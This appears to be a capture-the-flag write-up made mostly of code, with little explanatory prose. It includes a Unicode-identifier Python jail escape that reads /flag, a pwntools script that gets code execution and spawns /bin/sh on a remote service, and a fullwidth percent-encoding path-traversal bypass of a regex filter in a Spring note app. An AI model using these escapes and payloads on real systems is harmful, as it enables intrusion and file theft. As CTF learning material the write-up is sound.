#!/usr/bin/env python3
import unicodedata
banned = {"print": print, "open": open, "chr": chr}

s = input(">> ")

if len(s) != 6767:
    exit("wrong length :(")

if any(c in s for c in "'\"_`\\#"):
    exit("that's not good :(")

if any(c.isascii() and c.isalnum() for c in s):
    exit("no no no!!!")

if s.count(";") > 1:
    exit("too many semicolons!")

for c in s:
    if c.isidentifier() and unicodedata.normalize("NFKC", c) == c:
        exit("bad:(((")

exec(s, {"__builtins__": banned}, {})

>>> 'ｐ'.isidentifier()
True

>>> unicodedata.normalize("NFKC", 'ｐ') == 'ｐ'
False

ｔ=()==() # t = 1

ｔ<<ｔ            # 2
ｔ<<ｔ<<ｔ        # 4
ｔ<<ｔ<<ｔ<<ｔ    # 8

#!/usr/bin/env python3
def z(s):
    return ''.join(chr(ord(c) + 0xFEE0) if c.isalpha() else c for c in s)

t = z('t')

def num(n):
    r, i = [], 0
    while n:
        if n & 1:
            r.append('(' + '<<'.join([t] * (i + 1)) + ')')
        n >>= 1
        i += 1
    return '+'.join(r)

def ch(c):
    return z('chr') + '(' + num(ord(c)) + ')'

payload = t + '=()==();'
payload += z('print') + '('
payload += z('open') + '(' + '+'.join(ch(c) for c in '/flag') + ').' + z('read') + '())'
payload += ' ' * (6767 - len(payload))
print(payload)

_UNPACK_FORMATS = {
    'tar':   (['.tar'], _unpack_tarfile, [], "uncompressed tar file"),
    'zip':   (['.zip'], _unpack_zipfile, [], "ZIP file"),
}

def _unpack_zipfile(filename, extract_dir):
    """Unpack zip `filename` to `extract_dir`"""
    import zipfile  # late import for breaking circular dependency

    if not zipfile.is_zipfile(filename):
        raise ReadError("%s is not a zip file" % filename)

    with zipfile.ZipFile(filename) as zip:
        zip._ignore_invalid_names = True
        zip.extractall(extract_dir)

def _unpack_tarfile(filename, extract_dir, *, filter=None):
    """Unpack tar/tar.gz/tar.bz2/tar.xz `filename` to `extract_dir`"""
    import tarfile  # late import for breaking circular dependency
    try:
        tarobj = tarfile.open(filename)
    except tarfile.TarError:
        raise ReadError(
            "%s is not a compressed or uncompressed tar file" % filename)
    try:
        tarobj.extractall(extract_dir, filter=filter)
    finally:
        tarobj.close()

def on_formattedvalue(self, node): # ('value', 'conversion', 'format_spec')
    "formatting used in f-strings"
    val = self.run(node.value)
    fstring_converters = {115: str, 114: repr, 97: ascii}
    if node.conversion in fstring_converters:
        val = fstring_converters[node.conversion](val)
    fmt = '{__fstring__}'
    if node.format_spec is not None:
        fmt = f'{{__fstring__:{self.run(node.format_spec)}}}'
    return safe_format(fmt, self.raise_exception, node, __fstring__=val)

class SafeFormatter(Formatter):
    def __init__(self, raise_exc, node):
        self.raise_exc = raise_exc
        self.node = node
        super().__init__()

    def get_field(self, field_name, args, kwargs):
        first, rest = formatter_field_name_split(field_name)
        obj = self.get_value(first, args, kwargs)
        for is_attr, i in rest:
            if is_attr:
                obj = safe_getattr(obj, i, self.raise_exc, self.node)
            else:
                obj = obj[i]
        return obj, first

def safe_getattr(obj, attr, raise_exc, node, allow_unsafe_modules=False):
    """safe version of getattr"""
    unsafe = (attr in UNSAFE_ATTRS or
            (attr.startswith('__') and attr.endswith('__')))
    if not unsafe:
        for dtype, attrlist in UNSAFE_ATTRS_DTYPES.items():
            unsafe = (isinstance(obj, dtype) or obj is dtype) and attr in attrlist
            if unsafe:
                break
    if not unsafe and not allow_unsafe_modules:
        for mod in UNSAFE_MODULES:
            unsafe = obj is mod or getattr(obj, attr) is mod
            if unsafe:
                break
    if unsafe:
        msg = f"no safe attribute '{attr}' for {repr(obj)}"
        raise_exc(node, exc=AttributeError, msg=msg)
    else:
        return getattr(obj, attr, None)

01001000
.$.$.$.$.$.$.$.$

<payload bits>
.$[2|2]

#!/usr/bin/env python3
from pwn import *

def compile(payload):
    bits = ""
    for c in payload:
        for i in range(8):
            bits += str(c >> i & 1)
    return bits.rstrip("0") + "\n.$[2|2]"

src = compile(b"exec(input())")

io = remote(HOST, PORT)
io.sendlineafter(b">>> ", src.encode() + b"\nEOF")
io.sendline(b"import os;os.system('/bin/sh')")
io.interactive()

package tw.thjcc.simplenotes;

import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

import java.io.File;
import java.io.IOException;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;

@RestController
public class NoteController {

    private static final File NOTE_DIR = new File("/app/notes");

    @GetMapping(value = "/api/notes", produces = MediaType.APPLICATION_JSON_VALUE)
    public List<String> list() {
        File[] files = NOTE_DIR.listFiles(File::isFile);
        if (files == null) {
            return Collections.emptyList();
        }

        List<String> names = new ArrayList<>();
        for (File f : files) {
            names.add(f.getName());
        }

        Collections.sort(names);
        return names;
    }

    @GetMapping(value = "/api/read", produces = MediaType.TEXT_PLAIN_VALUE + ";charset=UTF-8")
    public ResponseEntity<String> read(@RequestParam("f") String f) throws IOException {
        String name = URLDecoder.decode(f, StandardCharsets.UTF_8);

        File target = new File(NOTE_DIR, name);
        if (!target.isFile()) {
            return ResponseEntity.status(404).body("note not found: " + name);
        }

        byte[] data = Files.readAllBytes(target.toPath());
        return ResponseEntity.ok(new String(data, StandardCharsets.UTF_8));
    }
}

package tw.thjcc.simplenotes;

import jakarta.servlet.Filter;
import jakarta.servlet.FilterChain;
import jakarta.servlet.ServletException;
import jakarta.servlet.ServletRequest;
import jakarta.servlet.ServletResponse;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.springframework.boot.web.servlet.FilterRegistrationBean;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;

import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.regex.Pattern;

public class PathGuardFilter implements Filter {

    private static final Pattern[] RULES = {
            Pattern.compile("\\.\\."),
            Pattern.compile("(?i)%2e"),
            Pattern.compile("(?i)%2f"),
            Pattern.compile("(?i)%5c"),
            Pattern.compile("\\\\"),
            Pattern.compile("^/"),
            Pattern.compile("\\x00")
    };

    @Override
    public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain)
            throws IOException, ServletException {

        HttpServletRequest request = (HttpServletRequest) req;

        if (rejected(request.getQueryString())) {
            block((HttpServletResponse) res);
            return;
        }

        for (String[] values : request.getParameterMap().values()) {
            for (String value : values) {
                if (rejected(value)) {
                    block((HttpServletResponse) res);
                    return;
                }
            }
        }

        chain.doFilter(req, res);
    }

    private boolean rejected(String input) {
        if (input == null || input.isEmpty()) {
            return false;
        }

        for (Pattern rule : RULES) {
            if (rule.matcher(input).find()) {
                return true;
            }
        }

        return false;
    }

    private void block(HttpServletResponse response) throws IOException {
        response.setStatus(HttpServletResponse.SC_FORBIDDEN);
        response.setContentType("text/plain;charset=UTF-8");
        response.setCharacterEncoding(StandardCharsets.UTF_8.name());
        response.getWriter().write("u are blocked XD");
    }

    @Configuration
    public static class Registration {
        @Bean
        public FilterRegistrationBean<PathGuardFilter> pathGuard() {
            FilterRegistrationBean<PathGuardFilter> bean = new FilterRegistrationBean<>();
            bean.setFilter(new PathGuardFilter());
            bean.addUrlPatterns("/api/*");
            bean.setOrder(1);
            return bean;
        }
    }
}

String name = URLDecoder.decode(f, StandardCharsets.UTF_8);

while ( ((i+2) < numChars) && (c=='%')) {
    int v = Integer.parseInt(s, i + 1, i + 3, 16);
    if (v < 0)
        throw new IllegalArgumentException(...);
    bytes[pos++] = (byte) v;
    i += 3;
    if (i < numChars)
        c = s.charAt(i);
}

Character.digit('２', 16) == 2      // U+FF12
Character.digit('ｅ', 16) == 14     // U+FF45

%２ｅ%２ｅ%２ｆ%２ｅ%２ｅ%２ｆflag.txt